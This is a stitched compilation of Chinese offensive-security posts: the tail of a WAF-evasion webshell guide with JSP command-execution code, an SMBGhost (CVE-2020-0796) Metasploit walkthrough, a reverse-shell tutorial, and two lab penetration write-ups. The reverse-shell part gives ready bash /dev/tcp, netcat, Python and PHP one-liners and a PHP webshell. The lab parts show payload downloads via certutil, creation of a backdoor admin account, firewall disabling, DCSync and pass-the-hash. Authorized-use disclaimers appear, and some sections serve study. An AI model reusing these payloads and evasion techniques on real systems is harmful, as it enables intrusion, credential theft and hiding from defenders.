Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); // 执行后清除Session session.removeAttribute("cmd"); session.removeAttribute("auth"); } } %> 使用方式：先访问?a=set&k=auth123&c=命令，再访问?a=run触发执行 适配环境：全Java版本+主流Web容器 避坑提示：可设置Session过期时间，避免长期留存痕迹。方法30：无敏感类名命令执行（反射调用内部类）免杀原理：完全去掉Runtime、ProcessBuilder等敏感类名，通过反射调用Java内部的ProcessImpl类（进程实现类），或者用Java 9+的ProcessHandle，没有任何公开的敏感类特征，是对抗高级WAF的终极方案。 实战代码（JSP形式，反射调用ProcessImpl）：<% // 反射调用Java内部类ProcessImpl（仅作示例，不同JDK版本ProcessImpl路径可能不同） Class<?> piCls = Class.forName("java.lang.ProcessImpl"); // 反射调用start方法（不同JDK版本参数可能不同） java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class); m.setAccessible(true); // 执行命令 m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false); %> 适配环境：特定JDK版本（需根据目标JDK调整ProcessImpl的调用） 避坑提示：可配合Java版本动态判断，选择对应的内部类调用方式，兼容性更好。实战免杀核心原则 拒绝直接使用公开Payload：所有公开的免杀方法都会被WAF快速收录，实战中必须组合2-3种方法做自定义变形，生成专属Payload，才能保证免杀效果； 最小化特征原则：能少用一个敏感关键词，就少用一个；能隐藏的执行逻辑，就绝不直接暴露； 适配目标环境：先确认目标Web容器、JDK版本，选择对应兼容的免杀方法，避免使用目标环境废弃的API； 合法业务伪装优先：尽量把恶意代码藏在合法的业务逻辑中，不仅能绕过WAF，还能规避人工排查，是红蓝对抗的首选； 本地测试优先：所有Payload必须先在本地搭建的目标环境（相同JDK、Web容器、WAF）中测试通过，再放到实战环境使用，避免暴露攻击特征。 最终合规红线再次强调：本文所有技术仅用于授权范围内的安全测试与研究，任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为，均属于违法犯罪行为。网络不是法外之地，所有操作必须严格遵守国家相关法律法规。
法律责任声明：本文内容仅用于网络安全技术学习与研究，请不要在未获得明确授权的情况下使用文中方法对非本人所有的系统进行操作，任何非法使用造成的法律责任由使用者自行承担。一、漏洞背景介绍CVE-2020-0796是2020年3月曝光的Windows SMBv3.1.1协议远程代码执行漏洞，业内也将其称为SMBGhost漏洞。该漏洞源于SMB协议在处理压缩数据包时存在内存破坏缺陷，攻击者可以通过构造特制的SMB数据包，在目标系统上远程执行任意代码，甚至直接获取系统最高权限。受影响的系统包括Windows 10 1903/1909、Windows Server 1903/1909等未安装对应补丁的版本。我在第一次接触这个漏洞的实战时，曾因为对靶机环境不熟悉走了不少弯路，接下来会结合实际操作流程和遇到的问题，完整还原整个实战过程。二、实验环境准备本次实战需要搭建两个互通的测试环境： 1、攻击机：使用Kali Linux 2023版，提前安装好scapy、metasploit框架等工具 2、靶机：使用未打KB4551762补丁的Windows 10 1903版本，确保靶机开启SMB服务并开放445端口 3、网络环境：攻击机和靶机处于同一局域网，或者通过端口映射实现外网互通实操小提示：初次测试时我忘记关闭靶机自带的防火墙，导致扫描时一直无法检测到445端口，后来临时关闭靶机防火墙后才解决问题。请不要忽略防火墙配置对测试的影响。三、漏洞检测步骤在正式利用漏洞前，需要先确认靶机是否存在该漏洞，常用的检测方式有两种： 1、使用Nmap脚本检测 首先更新Nmap的SMB脚本库，避免出现脚本不兼容的问题，执行命令：sudo apt update && sudo apt install nmap-scripts 然后使用专用脚本扫描靶机的445端口：nmap -p 445 --script smb-v3-compression 靶机IP地址 如果扫描结果中出现VULNERABLE: SMBv3 compression enabled的提示，则说明靶机存在SMBGhost漏洞。我第一次使用这个命令时，因为脚本库未更新，一直返回无结果，更新后才正常识别到漏洞。2、使用Metasploit辅助模块检测 启动Metasploit框架后，加载SMB扫描模块：msfconsole use auxiliary/scanner/smb/smb2 set RHOSTS 靶机IP地址 run 如果模块返回The target is vulnerable to CVE-2020-0796，则可以确认漏洞存在。四、漏洞利用与提权实战本次实战我们使用Metasploit的官方exp模块进行提权操作，步骤如下： 1、加载SMBGhost漏洞利用模块use exploit/windows/smb/smbghost_rce 2、配置攻击参数# 设置靶机IP地址 set RHOSTS 靶机IP地址 # 设置攻击机监听的本地IP地址 set LHOST 攻击机局域网IP地址 # 设置监听端口，建议使用非默认端口避免被拦截 set LPORT 4444 3、启动监听并执行exprun 如果执行成功，你会看到弹出一个 Meterpreter 会话，输入getuid命令可以看到当前会话的用户权限为NT AUTHORITY\SYSTEM，也就是直接获取了系统最高权限，完成提权操作。实操踩坑记录：有一次执行exp后一直出现连接超时，排查后发现是靶机的SMB服务被临时重启过，重新确认445端口开放后才恢复正常。另外部分精简版的Windows 10会禁用SMBv3压缩，这类靶机无法触发该漏洞。如果不想使用Metasploit，也可以使用公开的Python exp脚本进行测试，以下是简化的示例代码（仅作学习参考）：from scapy.all import IP, TCP, raw import sys def smbghost_exploit(target_ip): # 构造TCP SYN包建立SMB连接基础 syn_pkt = IP(dst=target_ip)/TCP(dport=445, flags="S") resp = sr1(syn_pkt, timeout=2, verbose=0) if not resp: print("无法连接到靶机445端口") return # 后续可根据协议规范构造恶意SMB压缩数据包 print(f"已完成与{target_ip}的SMB基础连接") if __name__ == "__main__": if len(sys.argv) != 2: print(f"使用方法: {sys.argv[0]} <靶机IP地址>") sys.exit(1) smbghost_exploit(sys.argv[1]) 五、实战后优化建议完成实战测试后，需要及时对环境进行清理和加固： 1、关闭靶机的SMB服务或者安装官方补丁KB4551762，修复该漏洞 2、恢复靶机的防火墙配置，避免不必要的端口暴露 3、清理攻击机上的日志和残留文件，确保测试痕迹被清除六、常见问题排查1、扫描时提示端口未开放：检查靶机445端口是否开启、防火墙是否拦截了流量 2、exp执行失败：确认靶机系统版本符合漏洞影响范围，检查攻击机工具是否安装完整 3、无法获取最高权限：部分靶机可能开启了UAC权限限制，需要调整exp的执行参数
某企业的测试服务器因为安全策略限制了所有入站端口，运维工程师小李需要远程排查服务器上的日志问题，直接通过SSH连接被防火墙拦截。这时候，反弹Shell就成了他的解决办法——通过让目标主机主动发起连接，绕过入站限制，建立远程控制会话。本文就结合Bash、NC、Python、PHP四种常用工具，详细讲解反弹Shell的实战操作和注意事项。反弹Shell的基本原理反弹Shell和正向连接的主要区别在于连接发起方：正向连接是本地机器主动连接目标主机的开放端口，而反弹Shell则是目标主机主动连接本地监听的端口，将Shell会话传输过来。这种方式可以规避目标主机的入站防火墙限制，在很多受限环境中非常实用。 操作的基本流程分为两步： 1、在本地机器上开启一个端口监听，等待目标主机的连接 2、在目标主机上执行反弹命令，让主机主动连接本地监听端口，完成Shell会话的传递Bash反弹Shell实战Bash是绝大多数Linux发行版自带的Shell工具，不需要额外安装，是最常用的反弹Shell手段之一。操作步骤首先在本地机器上开启端口监听，这里我们选择4444端口（1024以上的端口无需管理员权限）：nc -lvnp 4444 参数解释：-l表示开启监听模式，-v显示详细连接信息，-n不进行域名解析，-p指定监听端口。 然后在目标主机上执行反弹命令：bash -i >& /dev/tcp/你的本地IP/4444 0>&1 命令拆解： bash -i：启动交互式Shell，支持用户输入交互命令 & /dev/tcp/你的本地IP/4444：将标准输出和标准错误输出重定向到TCP连接中 0>&1：将标准输入重定向到标准输出对应的连接，实现双向通信 如果目标主机的Bash路径不是默认的/bin/bash，可以替换为完整路径，比如/usr/bin/bash -i ...。 常见变体如果目标主机使用的是轻量系统，比如Alpine Linux，默认没有安装Bash，可以用sh替代：sh -i >& /dev/tcp/你的本地IP/4444 0>&1 另外还可以使用UDP协议的反弹命令，适合部分限制了TCP的场景：bash -i >& /dev/udp/你的本地IP/4444 0>&1 NC反弹Shell实战NC也就是Netcat，被称为“网络瑞士军刀”，支持多种网络操作，也是反弹Shell的常用工具。不过需要注意不同版本的NC功能有差异：GNU版本的NC支持-e参数，而BusyBox编译的精简版本则没有该参数。GNU NC实战（带-e参数）本地监听命令和之前一致：nc -lvnp 4444 目标主机上执行反弹命令：nc 你的本地IP 4444 -e /bin/bash 这里的-e参数表示将NC连接的输入输出重定向到后面的bash程序，实现Shell会话的传递。精简版NC（无-e参数）实战很多嵌入式设备或者轻量系统使用的是BusyBox的NC，没有-e参数，这时候可以通过命名管道实现双向通信：mknod backpipe p && nc 你的本地IP 4444 0<backpipe | /bin/bash 1>backpipe 命令拆解： 1、mknod backpipe p：创建一个命名管道backpipe，用于传递数据 2、nc 你的本地IP 4444 0<backpipe：将管道的内容作为NC的输入 3、| /bin/bash 1>backpipe：将bash的标准输出重定向到管道中，实现双向数据流转Python反弹Shell实战Python几乎预装在所有现代Linux发行版中，而且语法简洁，反弹Shell的命令兼容性很强，适合大多数有Python环境的目标主机。基础反弹命令本地监听依旧使用nc -lvnp 4444，目标主机执行以下命令：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的本地IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 命令拆解： 1、导入socket、subprocess、os三个模块，分别用于网络连接、执行系统命令和文件描述符操作 2、创建TCP socket连接，连接到本地监听端口 3、使用os.dup2将socket的文件描述符替换为标准输入、输出和错误输出，让bash的所有输入输出都通过socket传输 4、调用subprocess.call启动交互式bash Shell 如果目标主机默认使用Python3，可以将python替换为python3。升级为完整终端有时候反弹回来的Shell会出现交互异常，比如无法使用方向键、快捷键，可以通过Python的pty模块升级为完整的终端： 在反弹得到的Shell中执行：python -c 'import pty; pty.spawn("/bin/bash")' 之后可以按Ctrl+Z将当前Shell挂起，在本地终端执行stty raw -echo，再按fg回到目标Shell，就可以获得完整的终端交互体验。PHP反弹Shell实战PHP常用于Web服务器环境，很多时候我们会通过Webshell的方式获取目标主机的执行权限，这时候PHP反弹Shell就非常实用。基础反弹命令本地监听还是nc -lvnp 4444，目标主机执行以下命令：php -r '\$sock=fsockopen("你的本地IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");' 这里使用了fsockopen创建TCP连接，用文件描述符3指代socket连接，将标准输入、输出和错误都重定向到该连接。Web场景下的PHP反弹如果是通过Webshell上传的方式获取权限，可以先编写一个简单的PHP脚本：<?php if(isset(\$_GET['cmd'])){ system(\$_GET['cmd']); } ?> 将该脚本上传到目标网站的可访问目录下，然后通过浏览器或者curl命令执行反弹命令：curl http://目标网站地址/shell.php?cmd=bash+-i+>+%26+%2Fdev%2Ftcp%2F你的本地IP%2F4444+0%3E%261 注意需要对命令中的特殊字符进行URL编码，比如空格替换为+或者%20。受限PHP环境处理如果PHP被禁用了exec、shell_exec等函数，可以尝试使用其他函数，比如popen：php -r '$sock=fsockopen("你的本地IP",4444);$fp=popen("/bin/bash -i","r");while($f=fgets($fp)){fwrite($sock,$f);}' 不过这种方式的兼容性不如exec，需要根据实际环境调整。实战注意事项和排错技巧在实际操作中，经常会遇到各种问题，以下是一些实用的注意事项和排错方法： 1、请不要进行未授权的操作，反弹Shell只能在获得明确授权的设备上使用，遵守相关法律法规 2、确认本地机器和目标主机之间的网络连通性，可以先通过ping命令测试基础网络是否正常 3、检查本地和目标主机的防火墙设置，确保监听的端口没有被拦截，比如本地防火墙开放4444端口 4、如果反弹失败，可以尝试更换端口，比如使用8080、8888等常见端口，避开被占用的端口 5、如果拿到的Shell交互异常，可以使用Python的pty模块升级终端，获得更好的使用体验 6、如果目标主机没有安装对应工具，比如没有Python，可以尝试使用其他工具，比如Bash或者NC总结反弹Shell是运维和安全工作中非常实用的技术手段，不同的工具适用于不同的场景：Bash适合大多数自带Shell的Linux系统，NC适合没有Python环境的场景，Python兼容性强适合大多数现代系统，PHP则多用于Web服务器环境。掌握这四种工具的实战方法，可以帮助我们在合法授权的前提下，高效完成远程排查和测试工作。
cyberstrikelab-lab8ZZZCMS目录扫描到后台地址admin弱口令 admin / admin123456发现版本信息 V1.6.1 zzzcms漏洞利用方法https://xz.aliyun.com/news/4103修改内容为{if:assert($_request[phpinfo()])}phpinfo();{end if} 访问你修改的这个页面http://172.50.12.33/search/ 一句话连接不上，那就执行系统命令，找到flag1{if:assert($_request[system($_POST[a])])};{end if} 本机开启http服务生成木马msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 从本机下载木马certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 172.50.12.33; set LPORT 4444; exploit -j -z" 执行木马，上线getsystem提权meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 上传fscanupload /data/windows_atk/scan_info/fscan.exe 却没有发现另外一台主机C:\phpstudy_pro\WWW\search>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::b476:ff8c:347:ef73%5 IPv4 Address. . . . . . . . . . . : 172.50.12.33 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.50.12.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::47e:778d:c27:a958%4 IPv4 Address. . . . . . . . . . . : 10.5.5.2 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.5.5.1 Tunnel adapter Reusable ISATAP Interface {539A3334-B0ED-49F4-B694-5F6E0A7AB805}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{4A835BE8-816A-4266-AF10-0ADC1C46A06E}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.5.5.2 is alive [*] Icmp alive hosts len is: 1 10.5.5.2:3306 open 10.5.5.2:445 open 10.5.5.2:139 open 10.5.5.2:135 open 10.5.5.2:80 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] WebTitle:http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms 已完成 5/5 [*] 扫描结束,耗时: 18.4658195s 使用命令扫C:\phpstudy_pro\WWW\search>for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" Reply from 10.5.5.2: bytes=32 time<1ms TTL=128 Reply from 10.5.5.33: bytes=32 time=1ms TTL=128 Reply from 10.5.5.66: bytes=32 time=1ms TTL=128 主机33和66存活的，再扫，没有任何内容C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-65000 fscan.exe -h 10.5.5.33 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan [*] alive ports len is: 0 start vulscan 已完成 0/0 [*] 扫描结束,耗时: 7.1787098s 设置路由run post/multi/manage/autoroute 使用下面的这些msf模块扫端口都不行scanner/portscan/tcp scanner/portscan/syn 添加一个用户看看什么情况# 创建新用户，并设置密码： net user xiaoyu 123@abc /add # 将新用户添加到管理员组： net localgroup Administrators xiaoyu /add # 关闭Windows防火墙 netsh advfirewall set allprofiles state off # 修改注册表，强制启用远程桌面服务（RDP）,允许通过远程桌面（3389端口）连接 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 把360退了，使用远程连接后的cmd扫这样能扫出来，那会不会是系统用户的问题，我提权了，重新反弹shellmsf exploit(multi/handler) > run [*] Started bind TCP handler against 172.50.12.33:4444 [*] Sending stage (177734 bytes) to 172.50.12.33 [*] Meterpreter session 2 opened (10.10.10.173:35111 -> 172.50.12.33:4444) at 2025-12-11 04:32:10 -0500 meterpreter > shell Process 10896 created. Channel 1 created. Microsoft Windows [�汾 10.0.14393] (c) 2016 Microsoft Corporation����������Ȩ���� C:\phpstudy_pro\WWW\search>chcp 65001 chcp 65001 Active code page: 65001 C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 10.5.5.2 is alive (icmp) Target 10.5.5.33 is alive (icmp) Target 10.5.5.66 is alive [*] Icmp alive hosts len is: 3 10.5.5.66:88 open 10.5.5.2:3306 open 10.5.5.66:445 open 10.5.5.33:445 open 10.5.5.2:445 open 10.5.5.66:139 open 10.5.5.33:139 open 10.5.5.2:139 open 10.5.5.33:135 open 10.5.5.2:135 open 10.5.5.2:80 open 10.5.5.66:135 open [*] alive ports len is: 12 start vulscan [*] NetInfo [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetInfo [*]10.5.5.66 [->]DC [->]10.5.5.66 [*] WebTitle http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms [*] OsInfo 10.5.5.66 (Windows Server 2012 R2 Standard 9600) [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 已完成 12/12 [*] 扫描结束,耗时: 8.5703463s 看来就是这个问题，重新设置路由run post/multi/manage/autoroute 设置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j fscan.exe -h 10.5.5.33 -p 1-10000C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-10000 fscan.exe -h 10.5.5.33 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 10.5.5.33:445 open 10.5.5.33:139 open 10.5.5.33:135 open 10.5.5.33:3389 open 10.5.5.33:5985 open [*] alive ports len is: 5 start vulscan [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] WebTitle http://10.5.5.33:5985 code:404 len:315 title:Not Found 已完成 4/5 [-] (58/210) rdp 10.5.5.33:3389 administrator Aa123456 remote error: tls: access denied 已完成 4/5 [-] (118/210) rdp 10.5.5.33:3389 admin abc123456 remote error: tls: access denied 已完成 4/5 [-] (178/210) rdp 10.5.5.33:3389 guest 666666 remote error: tls: access denied 已完成 5/5 [*] 扫描结束,耗时: 3m59.4511788s 扫到3389端口，试试能不能爆破出密码，admin@123456把目录传进去，要把马传进去proxychains rdesktop 10.5.5.33 -r disk:shell=/data/demo 传shellmsf开启监听，上线use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp set RHOST 10.5.5.33 set LPORT 4444 非约束委派相关文章学习连接：https://forum.butian.net/share/1591可能是环境出问题了（排除版本问题，我切换了多个AdFind版本），一直凭据出错，不能正常执行命令，拿到了33的系统权限也是一样，添加管理员账户执行AdFind照样错误，下面图来自网上这里的图来自 https://www.hyhforever.top/posts/2025/07/cyberstrikelab-lab8/# ADFind查询非约束委派账户 AdFind.exe -b "DC=cyberstrikelab,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn # 使用Rubeus监听来自域控的票据 Rubeus.exe monitor /interval:2 /filteruser:DC$ 利用打印机漏洞（SpoolSample）或类似攻击让域控主动连接非约束委派机器，从而生成并发送Kerberos票据给攻击者控制机器。# 强制回连，获得域控机器账户的TGT shell SpoolSample.exe DC CYBERWEB # rubeus导入票据 Rubeus.exe ptt /ticket:[binary] # mimikatz导出域内用户Hash mimikatz.exe "lsadump::dcsync /domain:cyberstrikelab.com /user:cyberstrikelab\Administrator" "exit" # PTH proxychains impacket-psexec -hashes :9d880175be3fc0e75ebb9686f482cfa5 cyberstrike.com/administrator@10.5.5.66 相关解释AdFind.exe这是一款免费的命令行工具，用于在AD域中执行查询域内信息，AD对象，LDAP协议交互情况，域内权限分析，以及域环境侦察，例如# 查询域中所有用户 AdFind.exe -f "(objectcategory=person)" dn # 查询不要求Kerberos预身份认证的用户(用于安全审计) AdFind.exe -b "dc=example,dc=com" -f "(&(samaccounttype=805306369)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))" # 获取域控制器信息 AdFind.exe -d domain.com -u username -p password -b "dc=domain,dc=com" -s base objectClass 详细的使用可以参考官方手册，百度一下，你就知道
cyberstrikelab-lab6第一台目录扫描到administrator后台地址apt install joomscan joomscan -u http://192.168.10.10/ # 扫出结果Joomla版本3.4.6 [+] Detecting Joomla Version [++] Joomla 3.4.6 exp获取searchsploit Joomla 3.4.6 searchsploit -m 47524 使用┌──(root㉿kali)-[/data/demo] └─# python 47465.py -t http://192.168.10.10/ -e [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Vulnerable [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Backdoor implanted, eval your code at http://192.168.10.10//configuration.php in a POST with khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm [*] Now it's time to reverse, trying with a system + perl 得到密码khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm蚁剑连接生成马，蚁剑上传msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe kalimsfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 获取正向shell，蚁剑执行exeshell.exe 得到第一台机器shell这台机器没有第二章网卡C:\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::71b1:e5e:d78d:3036%7 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Tunnel adapter isatap.{99805FC6-03F4-4415-8F77-D4C935988DCA}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\WWW>fscan.exe -h 192.168.10.10/24 fscan.exe -h 192.168.10.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.10.10 is alive (icmp) Target 192.168.10.20 is alive (icmp) Target 192.168.10.233 is alive [*] Icmp alive hosts len is: 3 192.168.10.233:8080 open 192.168.10.20:7001 open 192.168.10.10:3306 open 192.168.10.20:445 open 192.168.10.10:445 open 192.168.10.20:139 open 192.168.10.10:139 open 192.168.10.20:135 open 192.168.10.10:135 open 192.168.10.10:80 open 192.168.10.233:22 open [*] alive ports len is: 11 start vulscan [+] NetInfo: [*]192.168.10.10 [->]WIN-P5ECGG92B08 [->]192.168.10.10 [*] 192.168.10.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:https://192.168.10.233:8080 code:404 len:19 title:None [*] WebTitle:http://192.168.10.10 code:200 len:6060 title:Home [*] WebTitle:http://192.168.10.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.10.20:7001 [weblogic] 已完成 10/11 [-] ssh 192.168.10.233:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 root system ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin admin#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 11/11 [*] 扫描结束,耗时: 4m39.975774s 第二台fscan扫描出来的192.168.10.20:7001 weblogic第二个flag第三台传马上线msf，msf注意修改ip，因为我们是正向连接certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe 上传fscanupload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 发现另外一张网卡C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫�� 3: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::e9e1:6372:ae05:ecf0%17 IPv4 Address. . . . . . . . . . . : 192.168.10.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3d2f:f957:5cf8:220f%16 IPv4 Address. . . . . . . . . . . : 192.168.20.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 Tunnel adapter isatap.{1342B97A-CC27-446C-9089-7A3F3210BB09}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{56056A50-6E34-40E7-805D-8B35838D77D9}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : 扫另外一张网卡，发现第三台主机30C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20 fscan.exe -h 192.168.20.20 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive [*] Icmp alive hosts len is: 1 192.168.20.20:7001 open 192.168.20.20:445 open 192.168.20.20:139 open 192.168.20.20:135 open [*] alive ports len is: 4 start vulscan [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2019-2725 v12 已完成 4/4 [*] 扫描结束,耗时: 9.7411266s C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20/24 fscan.exe -h 192.168.20.20/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 2 192.168.20.30:88 open 192.168.20.20:7001 open 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.30:139 open 192.168.20.20:139 open 192.168.20.30:135 open 192.168.20.20:135 open 192.168.20.30:80 open [*] alive ports len is: 9 start vulscan [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [+] NetInfo: [*]192.168.20.30 [->]WIN-9DJ4TH21IE9 [->]192.168.20.30 [+] 192.168.20.30 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.30 [+]DC CYBERSTRIKELAB\WIN-9DJ4TH21IE9 Windows Server 2016 Standard 14393 [*] WebTitle:http://192.168.20.30 code:200 len:703 title:IIS Windows Server [+] http://192.168.20.30 poc-yaml-active-directory-certsrv-detect [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2020-14750 [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2019-2725 v12 已完成 9/9 [*] 扫描结束,耗时: 17.9561302s 发现ms17-010漏洞，使用命令执行得到最后一个flaggo-flag{kqqjRIRRoiJO5JIm}